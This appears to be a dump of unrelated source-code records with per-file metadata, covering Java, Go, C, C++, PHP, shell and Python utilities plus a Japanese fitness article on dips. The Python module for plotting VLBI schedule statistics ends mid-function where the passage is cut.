self.__update_prompt(ref) else: print 'nope' def do_hist(self, params): history = self.controller.history for i, ref in enumerate(history.refs): print '%d: %s' % (i, ref) print 'current: ' + str(history.current) def do_this(self, params): ref = self.controller.this() print self.__norm(ref) def do_pred(self, params): predicates = self.controller.pred() for pred in predicates: print self.__norm(pred) def do_types(self, params): types = self.controller.types() for type_ in types: print self.__norm(type_) def __norm(self, ref, trim=False): res = self.controller.norm(ref) if trim and res[0] == '<' and res[-1] == '>': return res[1:-1] return res def __print_properties(self, props, reverse=False): for prop, vals in props.items(): if reverse: print " is %s of" % (self.__norm(prop)) else: print " %s" % (self.__norm(prop)) for val in vals: print " %s" % (self.__norm(val)) def __print_objects(self, res): for r in res: print " " + self.__norm(r) def __update_prompt(self, ref): if ref: self.prompt = str(self.__norm(ref, True)) + '> ' elif ref == None: self.prompt = '> '
Java
UTF-8
173
1.929688
2
[]
no_license
package com.Unitest.Unitest.repository; public interface CalculateRepository { int sum(int a, int b); int multiple(int a, int b); Float device(int a, int b); }
Java
UTF-8
954
2.875
3
[]
no_license
package org.italberto.sugarreference.file.writer; import java.io.BufferedWriter; import java.io.FileNotFoundException; import java.io.FileReader; import java.io.FileWriter; import java.io.IOException; import java.util.Scanner; /** * * @author italberto */ public class NormalFile extends File { private BufferedWriter buffWrite; public NormalFile(String caminhoArquivo) { super(caminhoArquivo); } @Override public Scanner openFileToRead() { Scanner scanner = null; try { scanner = new Scanner(new FileReader(getCaminhoArquivo())); } catch (FileNotFoundException ex) { } return scanner; } @Override public void writeFile(String s) { try { buffWrite = new BufferedWriter(new FileWriter(getCaminhoArquivo())); buffWrite.append(s); buffWrite.close(); } catch (IOException ex) { } } }
Java
UTF-8
708
1.960938
2
[]
no_license
package com.slokam.f22healthcarecrm.controller; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; import com.slokam.f22healthcarecrm.entity.Appointment; import com.slokam.f22healthcarecrm.service.AppointmentService; @RestController @RequestMapping("appointment") public class AppointmentController { @Autowired private AppointmentService as; @PostMapping public void saveAppointment(@RequestBody Appointment a){ as.saveAppointment(a); } }
Markdown
UTF-8
2,845
2.6875
3
[]
no_license
--- title: ディップス(非推奨) date: 2021-04-07 series: title: 宅トレことはじめ number: 6 --- <LinkOpenGraph url="https://www.youtube.com/watch?v=NP7j1O4p4AY"/> ## ディップスは危険? 基本的にディップスは<Asc256>非推奨</Asc256>です。なぜなら - 間違ったフォームでやると**肩を痛める** - 正しいフォームでやってもやっぱり**肩を痛めがち** から。 `youtube:https://www.youtube.com/watch?v=2Rsw1XQDyc4` 体の構造上、腕で支えたまま体を下げると肩が残りすくんだ状態になりやすい。そこから肘を曲げると どうしても肩を巻き込んでしまい、脇固めをくらってる形になってしまう。 ![wakigatame](./wakigatame.png) しっかり肩甲骨を寄せ肩を下げ胸を開き上体を前傾させればある程度防げるが、 それでもやっぱり負担は小さくはないし、そのフォームを取るには結構な筋力と練習が必要になる。 ### ホロウボディ保持 それでもあえてやるというのなら、胸は開かずに含み肩を前に出すようにホロウボディを取る形を推奨する: `youtube:https://www.youtube.com/watch?v=iTGgReRdcl0` `youtube:https://www.youtube.com/watch?v=OTbDTCQpejM` これであれば過度な負担は避けられるが、最初はかならず足をつき補助つきでやること。 ### 足をかけて前傾を保持 後ろに膝程度の高さの椅子を置き、そこに足の甲を乗せることにより前傾を保つ。 ディップスというより、深めに沈むプッシュアップ。 先にボトムを取りしっかり胸が開き肩が下がってるかを確認してから始めたほうがよい。 トップから降りてくると、肩を巻いたりしがち。 ## 代替トレーニング ### 吊り輪プッシュアップ ディップススタンドを使うのであれば、吊り輪を下げてプッシュアップするのもよい。 吊り輪がなければベルトを輪っかにしてタオルをあて代用できる。 ### ストレッチド・デクライン・プッシュアップ もう一度、プッシュアップをやり直してほしい。 ストレッチがほしいならバーを使おう。思った以上にフォームによってかかる部位・負荷の強さが変わってくるはずだ。ディップスバーを斜めに倒して持ち手とし、 足を椅子にかけて高くしデクラインにすれば、 下手にディップスをやる以上の効果と安全性が得られるはずだ。 ### ディップス参考動画 park fitness `youtube:https://www.youtube.com/watch?v=A_4fatY9s5o` katochan `youtube:https://www.youtube.com/watch?v=Rt605mGlmLg&t=10s`
Go
UTF-8
915
2.921875
3
[ "MIT" ]
permissive
package multiplex import ( "bufio" "encoding/json" "io" ) const Delim = '\n' type ProtoReader interface { Read(i interface{}) error } type ProtoWriter interface { Write(i interface{}) error } type JsonProtoReader struct { R io.Reader } func NewJsonProtoReader(Reader io.Reader) ProtoReader { return &JsonProtoReader{R: Reader} } func (j *JsonProtoReader) Read(i interface{}) error { newReader := bufio.NewReader(j.R) text, err := newReader.ReadBytes(Delim) if err != nil { return err } if err := json.Unmarshal(text[:len(text)-1], i); err != nil { return err } return nil } type JsonProtoWriter struct { W io.Writer } func NewJsonProtoWriter(Writer io.Writer) ProtoWriter { return &JsonProtoWriter{W: Writer} } func (j *JsonProtoWriter) Write(i interface{}) error { if err := json.NewEncoder(j.W).Encode(i); err != nil { return err } _, _ = j.W.Write([]byte{Delim}) return nil }
Go
UTF-8
746
3.359375
3
[]
no_license
/** * Definition for a Node. * type Node struct { * Val int * Neighbors []*Node * } */ func trav(node *Node, ma map[*Node]*Node) map[*Node]*Node{ _, prs := ma[node] if prs{ return ma } tmp := Node{Val:node.Val,Neighbors: []*Node{}} ma[node] = &tmp for _,v:=range(node.Neighbors){ ma = trav(v,ma) } return ma } func copy_node(a,b *Node, ma map[*Node]*Node){ for _,no := range(a.Neighbors){ b.Neighbors = append(b.Neighbors,ma[no]) } } func cloneGraph(node *Node) *Node { if node == nil{ return nil } ma := map[*Node]*Node{} ma = trav(node,ma) for k,v := range(ma){ copy_node(k,v,ma) } return ma[node] }
C
UTF-8
335
2.671875
3
[]
no_license
#include "Logger.h" t_log* iniciar_log(char* nombreDeLog){ char* nombreConExtensionLog = string_from_format("%s.log",nombreDeLog); t_log * logger = log_create(nombreConExtensionLog, nombreDeLog, 1, LOG_LEVEL_INFO); log_info(logger, "Logger iniciado: %s\n", nombreConExtensionLog); free(nombreConExtensionLog); return logger; }
Java
UTF-8
1,656
3.5625
4
[]
no_license
package Ch9.AbstractClasses.InnerClass; import lombok.Getter; import java.util.ArrayList; public class Gearbox { private ArrayList<Gear> gears; private int maxGears; private int currentGear = 0; private boolean clutchIsIn; public Gearbox (int maxGears) { this.maxGears = maxGears; gears = new ArrayList<Gear>(); Gear neutral = new Gear(0,0.0); this.gears.add(neutral); for( int i = 1 ; i <= maxGears; i++) { addGear(i,i*3.45); } } public void operatingClutch(boolean in) { this.clutchIsIn = in; } public void addGear(int number, double ratio) { if(number > 0 && number <= maxGears) this.gears.add(new Gear(number,ratio)); } public void changeGear(int newGear) { if ((newGear >=0 ) && (newGear<this.gears.size()) && this.clutchIsIn) { this.currentGear = newGear; System.out.println("Gear " + newGear + " selected"); } else{ System.out.println("Grind"); this.currentGear = 0; } } public double wheelSpeed ( int revs) { if(clutchIsIn) { System.out.println("SCREAM"); return 0.0; } return revs * gears.get(currentGear).getRatio(); } private class Gear { private int gearNumber; @Getter private double ratio; public Gear(int gearNumber, double ratio) { this.gearNumber = gearNumber; this.ratio = ratio; } public double driveSpeed (int revs) { return revs*(this.ratio); } } }
Python
UTF-8
1,203
2.65625
3
[]
no_license
import requests, json import signal ports = { 'Blue' : [40001, 40002, 40003], 'Yellow' : [30001, 30002, 30003] } next_mode = { 'spinning' : 'circling', 'circling' : 'circling', 'forward' : 'backward', 'backward' : 'spinning', } local = 'http://localhost' def run_control_test(team = 'Blue', ports = ports): mode = 'forward' def change_mode(signum, frame): nonlocal mode mode = next_mode[mode] signal.alarm(2) signal.signal(signal.SIGALRM, change_mode) signal.alarm(4) while True: for port in ports[team]: url = local + ":" + str(port) vel1, vel2 = (0, 0) if mode == 'spinning': vel1, vel2 = (-10, 10) elif mode == 'circling': vel1, vel2 = (8, 5) elif mode == 'forward': vel1, vel2 = (2.5, 2.5) elif mode == 'backward': vel1, vel2 = (-2.5, -2.5) request = { 'method' : 'move', 'params' : [vel1, vel2], 'jsonrpc' : '2.0', 'id' : 0 } requests.post(url, json=request).json()
PHP
UTF-8
639
2.515625
3
[]
no_license
<?php // Load composer require __DIR__ . '/../vendor/autoload.php'; include_once 'Tokens.php'; $bot_api_key = Tokens::$khateMoghadamBot; $bot_username = 'khateMoghadamBot'; $hook_url = Tokens::$khateMoghadamBot_hookUrl; try { // Create Telegram API object $telegram = new Longman\TelegramBot\Telegram($bot_api_key, $bot_username); // Set webhook $result = $telegram->setWebhook($hook_url); if ($result->isOk()) { echo $result->getDescription(); } } catch (Longman\TelegramBot\Exception\TelegramException $e) { // log telegram errors echo $e->getMessage(); } //echo "was set oneTime :)";
Shell
UTF-8
1,759
3.859375
4
[]
no_license
#!/bin/bash # Verificamos el numero de argumentos if [ "$#" -ne 2 ]; then echo "Ejecute el Script de la siguiente manera:" echo " ./sudoku_solver <archivo_instancias> <archivo_soluciones>" exit fi # Imprimimos al usuario de donde se leera y donde se escribira echo "Sudoku Solver" echo " Input File: $1" echo " Output File: $2" echo "* Traduciendo instancias de Sudoku a CNF *" # Generamos las instancias en CNF g++ encoder/main.cc -o encoder_exe cp encoder/teoria_general_2 teoria_general_2 # Pasamos las instancias en CNF por el SAT solver echo "* Compilando Zchaff *" cd zchaff make clean > /dev/null make > /dev/null cd .. echo "* Resolviendo instancias en CNF*" cp zchaff/zchaff ./zchaff_solver g++ decoder/decoder.cc -o decoder_exe g++ encoder/total_time.cc -o timer_exe numero_caso=1 input_file=$1 total_time=0 while read -r line do echo -n " - Analizando Sudoku # $numero_caso ... " echo $line > sudoku_actual.txt #generacion del archivo .cnf $(./encoder_exe sudoku_actual.txt) rm -r sudoku_actual.txt #generacion del input para el decoder $((./zchaff_solver sudoku.cnf) > sudoku.out) rm -r sudoku.cnf #obtenemos el tiempo que demoro el solucionador zchaff en operar sudoku_time=$(tail -2 sudoku.out | head -1 | awk '{print $4}') echo "- Completado en $sudoku_time segundo(s)" $(echo $(./decoder_exe sudoku.out) >> $2) rm -r sudoku.out total_time=$( (./timer_exe $total_time $sudoku_time) | awk '{print $1}') numero_caso=$(($numero_caso + 1)) done < $input_file echo "* Analisis completado - Tiempo Total: $total_time segundo(s)*" #se remueven los archivos generados rm -r encoder_exe rm -r decoder_exe rm -r timer_exe rm -r zchaff_solver rm -r teoria_general_2
Java
UTF-8
5,662
3.78125
4
[]
no_license
package project1; import java.util.Scanner; import java.io.*; import java.util.ArrayList; import static java.lang.System.out; //******************************************************************************************************** // CLASS: Main (Main.java) // // DESCRIPTION // Counts the runs in a list // // COURSE AND PROJECT INFO // CSE205 Object Oriented Programming and Data Structures, Fall A 2018 // Project Number: 1 // // AUTHOR // David Kester (dkester@asu.edu) //******************************************************************************************************** public class Main { public static void main(String[] pArgs) { Main mainObject = new Main(); mainObject.run(); } /** * Takes in a text file consisting of lists of integers and outputs a text file of run counts. */ private void run() { ArrayList<Integer> list = new ArrayList<>(); ArrayList<Integer> listRunsUpCount = new ArrayList<>(); ArrayList<Integer> listRunsDnCount = new ArrayList<>(); ArrayList<Integer> listRunsCount = new ArrayList<>(); // Creates a list of numbers from an input file. try { FileInputStream inFile = new FileInputStream("p01-in.txt"); Scanner in = new Scanner(inFile); while(in.hasNextInt()){ int value = in.nextInt(); list.add(value); } } catch (FileNotFoundException e) { out.println("Sorry, could not open 'p01-in.txt' for reading. Stopping."); System.exit(-1); } // compute runs listRunsUpCount = findRuns(list, "RUNS_UP"); listRunsDnCount = findRuns(list, "RUNS_DN"); // compute total runs listRunsCount = merge(listRunsUpCount,listRunsDnCount); // Creates the output file output("p01-runs.txt", listRunsCount); } /** * Counts the number of runs in a list. * @param pList an array of integers * @param pDir direction of count, run up or run down * @return an array of run size counts */ public ArrayList<Integer> findRuns(ArrayList<Integer> pList, String pDir) { ArrayList<Integer> listRunsCount = arrayListCreate(pList.size(), 0); int k = 0; int i = 0; while(i < pList.size() - 1){ if(pDir == "RUNS_UP" && pList.get(i) <= pList.get(i+1)) { k++; } else if (pDir == "RUNS_DN" && pList.get(i) >= pList.get(i+1)) { k++; } else { if (k != 0) { int valueAtRun = listRunsCount.get(k)+1; listRunsCount.set(k,valueAtRun); k = 0; } } i++; } if (k != 0) { int valueAtRun = listRunsCount.get(k)+1; listRunsCount.set(k,valueAtRun); } return listRunsCount; } /** * Merges the total of each run count from two lists * @param pListRunsUpCount A list of the count of run ups * @param pListRunsDnCount A list of the count of run downs * @return a list of the total count of each run */ public ArrayList<Integer> merge(ArrayList<Integer> pListRunsUpCount, ArrayList<Integer> pListRunsDnCount) { ArrayList<Integer> listRunsCount = arrayListCreate(pListRunsUpCount.size(), 0); for(int i = 0; i < pListRunsUpCount.size(); i++) { listRunsCount.set(i, pListRunsDnCount.get(i) + pListRunsUpCount.get(i)); } return listRunsCount; } /** * Inititates a list of the specified size with the specified values. * @param pSize is the size of the list * @param pInitValue the value that is set * @return list as an array of integers */ public ArrayList<Integer> arrayListCreate(int pSize, int pInitValue) { ArrayList<Integer> list = new ArrayList<>(); for (int i = 0; i < pSize ; i++) { list.add(pInitValue); } return list; } /** * Creates a text file that details the number of runs, and the length of each run. * @param pFilename name of file to write into * @param pListRuns list of the length of each run */ public void output(String pFilename, ArrayList<Integer> pListRuns) { int totalRuns = sumOfList(pListRuns); try { PrintWriter writer = new PrintWriter(pFilename, "UTF-8"); writer.println("runs_total, " + totalRuns); for(int k = 1; k < pListRuns.size(); k++) { writer.println("runs_" + k + ", " + pListRuns.get(k)); } writer.close(); } catch (FileNotFoundException e) { out.println("Sorry, could not open 'p01-in.txt' for reading. Stopping."); System.exit(-1); } catch (UnsupportedEncodingException e){ out.println("Sorry, could not open 'p01-in.txt' for reading. Stopping."); System.exit(-1); } // produce output file in the below format // runs_total, 7 // runs_1, 4 // runs_2, 2 // runs_3, 1 // runs_4, 0 // runs_5, 0 // runs_6, 0 } /** * Cycles through each position in the given list, and adds the value to a total sum. * @param list array of integers * @return sum of the list */ public Integer sumOfList(ArrayList<Integer> list) { int sum = 0; for (Integer num:list) { sum += num; } return sum; } }
Swift
UTF-8
814
2.53125
3
[ "Apache-2.0" ]
permissive
// // WalletTests.swift // Tests // // Created by Mederic Petit on 20/11/2017. // Copyright © 2017-2018 Omise Go Pte. Ltd. All rights reserved. // import OmiseGO import XCTest class WalletTests: XCTestCase { func testEquatable() { let address1 = StubGenerator.wallet(address: "123") let address2 = StubGenerator.wallet(address: "123") let address3 = StubGenerator.wallet(address: "321") XCTAssertEqual(address1, address2) XCTAssertNotEqual(address1, address3) } func testHashable() { let address1 = StubGenerator.wallet(address: "123") let address2 = StubGenerator.wallet(address: "123") let set: Set<Wallet> = [address1, address2] XCTAssertEqual(address1.hashValue, "123".hashValue) XCTAssertEqual(set.count, 1) } }
C++
UTF-8
1,953
3.203125
3
[]
no_license
#include "dynamicPro.h" #define infinity 0x7FFFFFFF /*斐波那契数列计算*/ int Fibonacci(int N) { if(N<=1) return 1; int last, nextToLast, Answer; last = nextToLast =1; for(int i=1; i<N; i++) { Answer = last+nextToLast; nextToLast = last; last = Answer; } return Answer; } /*C(N)=(2/N)((C(0)+0) + (C(1)+1) + ... +(C(N-1)+N-1))数列求解*/ double Eval(int N) { double lastSum, Answer; Answer = lastSum = 1.0; int i=1; while(i<=N) { Answer = 2.0/i*lastSum+i; lastSum += Answer; i++; } return Answer; } /*矩阵乘法顺序安排*/ void OptMatrix(const long C[], int N, TwoDimArray M, TwoDimArray LastChange) { int i, k, left, right; long ThisM; for(left =1; left<=N; left++) M[left][left] = 0; for(k=1; k<N; k++) for(left=1; left<=N-k; left++) { right = left+k; M[left][right] = infinity; for(i = left; i<right; i++) { ThisM = M[left][i]+M[i+1][right] + C[left-1]*C[i]*C[right]; if(ThisM<M[left][right]) { M[left][right] = ThisM; LastChange[left][right] = i; } } } } double sum(const Vob C[], int left, int right) { double output = 0; for(int i=left; i<= right; i++) output += C[i].value; return output; } double value(doubleArray M, int left, int right) { if(left>right) return 0.0; return M[left][right]; } /*最优查找二叉树,为了保持和上面的最佳矩阵乘法顺序形式相同,这里计数也从1开始,0没有定义*/ void OptSearchTree(const Vob C[], int N, doubleArray &M, TwoDimArray &LastChange) { int left, right, k; double ThisM; for(int i=1; i<=N; i++) M[i][i] = C[i].value; for(k=1; k<N; k++) for(left =1; left<=N-k; left++) { right = left+k; M[left][right] =infinity; for(int i=left; i<=right; i++) { ThisM = value(M, left, i-1) + value(M, i+1, right)+sum(C, left, right); if(ThisM < M[left][right]) { M[left][right] = ThisM; LastChange[left][right] = i; } } } }
JavaScript
UTF-8
1,047
3.0625
3
[]
no_license
function testNumeric(input) { if (input.match(/[^0-9]/g)) return false; else return true; } function startSearching() { stopRefreshing(); var maxTweetCount = document.getElementById("maxTweetCount"); var refreshperiod = document.getElementById("refreshperiod"); if(maxTweetCount.value == "" || !testNumeric(maxTweetCount.value)) { maxTweetCount.value = 5; } if(refreshPeriod.value == "" || !testNumeric(refreshPeriod.value)) { refreshPeriod.value = 10; } var valueSearch = document.getElementById("searchString"); var searchString = valueSearch.value; valueSearch.value = ""; search(searchString, maxTweetCount.value); startRefreshing(searchString, maxTweetCount.value, refreshPeriod.value); } var refreshSearchIntervalId; function stopRefreshing() { if(refreshSearchIntervalId) { clearInterval(refreshSearchIntervalId); } } function startRefreshing(searchString, maxTweetCount, refreshPeriod) { refreshSearchIntervalId = self.setInterval(function(){search(searchString, maxTweetCount)},refreshPeriod*1000); }
C++
UTF-8
3,931
2.53125
3
[]
no_license
#include <bits/stdc++.h> using namespace std; typedef long long ll; #define rep(i,n) for(int (i)=0;(i)<(int)(n);++(i)) #define each(itr,c) for(__typeof(c.begin()) itr=c.begin(); itr!=c.end(); ++itr) #define all(x) (x).begin(),(x).end() #define mp make_pair #define pb push_back #define fi first #define se second class TheNicePair { public: int solve(vector<int> A) { int n=A.size(); //全ての要素が1の時には失敗 bool allone=true; rep(i,n) if(A[i]!=1) allone=false; if(allone) return -1; //素数を列挙 bool p[1001]; fill(p,p+1001,true); p[0]=p[1]=false; for(int i=2; i<=1000; ++i) { if(p[i]) for(int j=2; i*j<=1000; ++j) p[i*j]=false; } vector<int> v; rep(i,1001) if(p[i]) v.pb(i); int ret=0; for(const auto &x : v) { //素数xで割り切れるかを判定していく bool into=false; vector<bool> d(n); rep(i,n) { d[i]=(A[i]%x==0); into|=d[i]; } if(into){ rep(i,n) { for(int j=i; j<n; ++j) { int ct=0; int len=j-i+1; for(int k=i; k<=j; ++k) if(d[k]) ++ct; if(ct*2>=len) ret=max(ret,j-i); } } } } return ret; } }; // CUT begin ifstream data("TheNicePair.sample"); string next_line() { string s; getline(data, s); return s; } template <typename T> void from_stream(T &t) { stringstream ss(next_line()); ss >> t; } void from_stream(string &s) { s = next_line(); } template <typename T> void from_stream(vector<T> &ts) { int len; from_stream(len); ts.clear(); for (int i = 0; i < len; ++i) { T t; from_stream(t); ts.push_back(t); } } template <typename T> string to_string(T t) { stringstream s; s << t; return s.str(); } string to_string(string t) { return "\"" + t + "\""; } bool do_test(vector<int> A, int __expected) { time_t startClock = clock(); TheNicePair *instance = new TheNicePair(); int __result = instance->solve(A); double elapsed = (double)(clock() - startClock) / CLOCKS_PER_SEC; delete instance; if (__result == __expected) { cout << "PASSED!" << " (" << elapsed << " seconds)" << endl; return true; } else { cout << "FAILED!" << " (" << elapsed << " seconds)" << endl; cout << " Expected: " << to_string(__expected) << endl; cout << " Received: " << to_string(__result) << endl; return false; } } int run_test(bool mainProcess, const set<int> &case_set, const string command) { int cases = 0, passed = 0; while (true) { if (next_line().find("--") != 0) break; vector<int> A; from_stream(A); next_line(); int __answer; from_stream(__answer); cases++; if (case_set.size() > 0 && case_set.find(cases - 1) == case_set.end()) continue; cout << " Testcase #" << cases - 1 << " ... "; if ( do_test(A, __answer)) { passed++; } } if (mainProcess) { cout << endl << "Passed : " << passed << "/" << cases << " cases" << endl; int T = time(NULL) - 1460647233; double PT = T / 60.0, TT = 75.0; cout << "Time : " << T / 60 << " minutes " << T % 60 << " secs" << endl; cout << "Score : " << 250 * (0.3 + (0.7 * TT * TT) / (10.0 * PT * PT + TT * TT)) << " points" << endl; } return 0; } int main(int argc, char *argv[]) { cout.setf(ios::fixed, ios::floatfield); cout.precision(2); set<int> cases; bool mainProcess = true; for (int i = 1; i < argc; ++i) { if ( string(argv[i]) == "-") { mainProcess = false; } else { cases.insert(atoi(argv[i])); } } if (mainProcess) { cout << "TheNicePair (250 Points)" << endl << endl; } return run_test(mainProcess, cases, argv[0]); } // CUT end
Python
UTF-8
20,105
2.796875
3
[]
no_license
import itertools import math import os import matplotlib.pyplot as plt import numpy as np import pandas as pd def summary(df, fields, output): """ generate summary plot with four fields: #obs, #scans, #sources and sky-coverage score :param df: DateFrame with summary statistics :param fields: list of fields :param output: output directory path :return: None """ codes = df.index.tolist() networks = df["stations"].tolist() networks_s = [] for n in networks: tmp = [n[i:i + 2] for i in range(0, len(n), 2)] tmp.sort() networks_s.append("".join(tmp)) networks = networks_s n = len(codes) unique_networks = [*set(networks)] cat = [unique_networks.index(net) for net in networks] n_col = len(fields) fig_r = math.floor(math.sqrt(n_col)) fig_c = math.ceil(n_col / fig_r) fig, axes = plt.subplots(fig_r, fig_c, figsize=(fig_c * 3.5, fig_r * 4), sharex='all') plt.xticks(range(n), codes) first_empty = 0 hs = None for i, field in itertools.zip_longest(range(0, fig_r * fig_c), fields): ax = axes.flat[i] hs = plot_summary_background(ax, cat) if field is None: ax.get_yaxis().set_visible(False) if first_empty == 0: first_empty = i elif field in df: data = df[field] ax.bar(range(len(data)), data, width=.6, ec='#252525', fc='#969696') if field.startswith("n_"): field = "#" + field[2:] ax.set_title(field) else: plot_special_stats(ax, df, field) pass for tick in ax.get_xticklabels(): tick.set_rotation(90) labels = [] for net in unique_networks: n = len(net) / 2 if (n > 6): labels.append("({:.0f}) {:12.12}...".format(n, net)) else: labels.append("({:.0f}) {}".format(n, net)) axes.flat[first_empty].legend(hs, labels, loc='lower left') plt.tight_layout() # fig.subplots_adjust(left=0.1, right=0.975, bottom=0.15, top=0.95, wspace=0.2, hspace=0.15) plt.savefig(os.path.join(output, "summary.png"), dpi=150) def plot_summary_background(ax, cats): colors = ["#1f78b4", "#33a02c", "#e31a1c", "#ff7f00", "#6a3d9a", "#a6cee3", "#b2df8a", "#fb9a99", "#fdbf6f", "#cab2d6", ] painted = [] hs = [] for i in range(10): for x in range(len(cats)): if cats[x] == i: c = colors[i] h = ax.axvspan(x - .5, x + .5, alpha=0.25, color=c) if c not in painted: painted.append(c) hs.append(h) return hs def plot_special_stats(ax, df, field): """ generate one summary plot in axes :param ax: axes :param data: dataframe :param field: field """ x = np.arange(df.shape[0]) ecs = [ '#1f77b4', '#ff7f0e', '#2ca02c', '#d62728', '#9467bd', '#8c564b', '#e377c2', '#7f7f7f', '#bcbd22', '#17becf', ] fcs = [ '#51A9E6', '#FFB140', '#5ED25E', '#FF595A', '#C699EF', '#BE887D', '#FFA9F4', '#B1B1B1', '#EEEF54', '#49F0FF', ] if field == "n_scans_per_sta": storage = np.zeros((df.shape[0])) df_src_scans = df[[c for c in df.columns if c.endswith("station_scans")]].copy() df_src_scans.fillna(0, inplace=True) n = df_src_scans.shape[1] groupby = int(n / 10) + 1 if groupby > 1: xx = np.arange(len(df_src_scans.columns)) // groupby cols = [] for i in set(xx): c = df_src_scans.columns[xx == i] start = c[0].split("-")[0] end = c[-1].split("-")[0] if start == end: cols.append("{}-station_scans".format(start)) else: cols.append("{}-{}-station_scans".format(start, end)) df_src_scans = df_src_scans.groupby(xx, axis=1).sum() df_src_scans.columns = cols for c, ec, fc in zip(df_src_scans.columns[::-1], ecs, fcs): s = df_src_scans[c] l = "-".join(c.split("-")[:-1]) ax.bar(x, s, label=l, bottom=storage, width=.6, ec=ec, fc=fc) storage += s undef_x = np.where((df_src_scans.sum(axis=1) == 0).values)[0] undef_y = df.loc[df_src_scans.sum(axis=1) == 0, "n_scans"].values if len(undef_x) > 0: ax.bar(undef_x, undef_y, label='undef', width=.6, ec='#252525', fc='#969696') handles, labels = ax.get_legend_handles_labels() legend = ax.legend(reversed(handles), reversed(labels), title='stations', loc='lower left') legend.get_frame().set_alpha(None) legend.get_frame().set_facecolor((1, 1, 1, 0.45)) ax.set_title("#scans per #stations") elif field == "n_scans_per_type": ax.bar(x, df["n_single_source_scans"], label="standard", width=.6, ec=ecs[0], fc=fcs[0]) ax.bar(x, df["n_fillin-mode_scans"], label="fillin-mode", width=.6, hatch='//', ec=ecs[0], fc=fcs[0]) ax.bar(x, df["n_subnetting_scans"], bottom=df["n_single_source_scans"], label="subnetting", width=.6, ec=ecs[1], fc=fcs[1]) handles, labels = ax.get_legend_handles_labels() legend = ax.legend(reversed(handles), reversed(labels), title='type', loc='lower left') legend.get_frame().set_alpha(None) legend.get_frame().set_facecolor((1, 1, 1, 0.45)) ax.set_title("#scans per type") elif field == "sky-coverage_37_areas_60_min": df_sky = df[[c for c in df.columns if c.startswith('sky-coverage_') and c.endswith("37_areas_60_min")]].copy() df_sky.drop("sky-coverage_average_37_areas_60_min", axis=1, inplace=True) sky = df_sky.mean(axis=1) sky_std = df_sky.std(axis=1) ax.bar(x, sky, yerr=sky_std, width=.6, ec='#252525', fc='#969696') ax.set_title("sky-coverage score 37/60 ") elif field == "sky-coverage_25_areas_60_min": df_sky = df[[c for c in df.columns if c.startswith('sky-coverage_') and c.endswith("25_areas_60_min")]].copy() df_sky.drop("sky-coverage_average_25_areas_60_min", axis=1, inplace=True) sky = df_sky.mean(axis=1) sky_std = df_sky.std(axis=1) ax.bar(x, sky, yerr=sky_std, width=.6, ec='#252525', fc='#969696') ax.set_title("sky-coverage score 25/60 ") elif field == "sky-coverage_13_areas_60_min": df_sky = df[[c for c in df.columns if c.startswith('sky-coverage_') and c.endswith("13_areas_60_min")]].copy() df_sky.drop("sky-coverage_average_13_areas_60_min", axis=1, inplace=True) sky = df_sky.mean(axis=1) sky_std = df_sky.std(axis=1) ax.bar(x, sky, yerr=sky_std, width=.6, ec='#252525', fc='#969696') ax.set_title("sky-coverage score 13/60 ") elif field == "sky-coverage_37_areas_30_min": df_sky = df[[c for c in df.columns if c.startswith('sky-coverage_') and c.endswith("37_areas_30_min")]].copy() df_sky.drop("sky-coverage_average_37_areas_30_min", axis=1, inplace=True) sky = df_sky.mean(axis=1) sky_std = df_sky.std(axis=1) ax.bar(x, sky, yerr=sky_std, width=.6, ec='#252525', fc='#969696') ax.set_title("sky-coverage score 37/30 ") elif field == "sky-coverage_25_areas_30_min": df_sky = df[[c for c in df.columns if c.startswith('sky-coverage_') and c.endswith("25_areas_30_min")]].copy() df_sky.drop("sky-coverage_average_25_areas_30_min", axis=1, inplace=True) sky = df_sky.mean(axis=1) sky_std = df_sky.std(axis=1) ax.bar(x, sky, yerr=sky_std, width=.6, ec='#252525', fc='#969696') ax.set_title("sky-coverage score 25/30 ") elif field == "sky-coverage_13_areas_30_min": df_sky = df[[c for c in df.columns if c.startswith('sky-coverage_') and c.endswith("13_areas_30_min")]].copy() df_sky.drop("sky-coverage_average_13_areas_30_min", axis=1, inplace=True) sky = df_sky.mean(axis=1) sky_std = df_sky.std(axis=1) ax.bar(x, sky, yerr=sky_std, width=.6, ec='#252525', fc='#969696') ax.set_title("sky-coverage score 13/30 ") elif field == "time": storage = np.zeros((df.shape[0])) df_obs = df[[c for c in df.columns if c.startswith('time_') and c.endswith("_observation")]].copy() df_obs.drop("time_average_observation", axis=1, inplace=True) obs = df_obs.mean(axis=1) std_obs = df_obs.std(axis=1) df_preob = df[[c for c in df.columns if c.startswith('time_') and c.endswith("_preob")]].copy() df_preob.drop("time_average_preob", axis=1, inplace=True) preob = df_preob.mean(axis=1) std_preob = df_preob.std(axis=1) df_idle = df[[c for c in df.columns if c.startswith('time_') and c.endswith("_idle")]].copy() df_idle.drop("time_average_idle", axis=1, inplace=True) idle = df_idle.mean(axis=1) std_idle = df_idle.std(axis=1) df_slew = df[[c for c in df.columns if c.startswith('time_') and c.endswith("_slew")]].copy() df_slew.drop("time_average_slew", axis=1, inplace=True) slew = df_slew.mean(axis=1) std_slew = df_slew.std(axis=1) df_field_system = df[[c for c in df.columns if c.startswith('time_') and c.endswith("_field_system")]].copy() df_field_system.drop("time_average_field_system", axis=1, inplace=True) field_system = df_field_system.mean(axis=1) std_field_system = df_field_system.std(axis=1) ax.bar(x, obs, label='obs', bottom=storage, width=.6, yerr=std_obs, ec='#1F77B4', fc='#51A9E6', error_kw=dict(ecolor='#1F77B4', capsize=3)) storage += obs ax.bar(x, slew, label='slew', bottom=storage, width=.6, yerr=std_slew, ec='#FF7F0E', fc='#FFB140', error_kw=dict(ecolor='#FF7F0E', capsize=3)) storage += slew ax.bar(x, preob, label='preob', bottom=storage, width=.6, yerr=std_preob, ec='#2CA02C', fc='#5ED25E', error_kw=dict(ecolor='#2CA02C', capsize=3)) storage += preob ax.bar(x, field_system, label='field system', bottom=storage, width=.6, yerr=std_field_system, ec='#D62728', fc='#FF595A', error_kw=dict(ecolor='#D62728', capsize=3)) storage += field_system ax.bar(x, idle, label='idle', bottom=storage, width=.6, yerr=std_idle, ec='#9467BD', fc='#C699EF', error_kw=dict(ecolor='#9467BD', capsize=3)) storage += idle handles, labels = ax.get_legend_handles_labels() legend = ax.legend(reversed(handles), reversed(labels), loc='lower left') legend.get_frame().set_alpha(None) legend.get_frame().set_facecolor((1, 1, 1, 0.45)) ax.set_title("spent time") ax.set_ylabel("[%]") pass elif field == "dUT1": 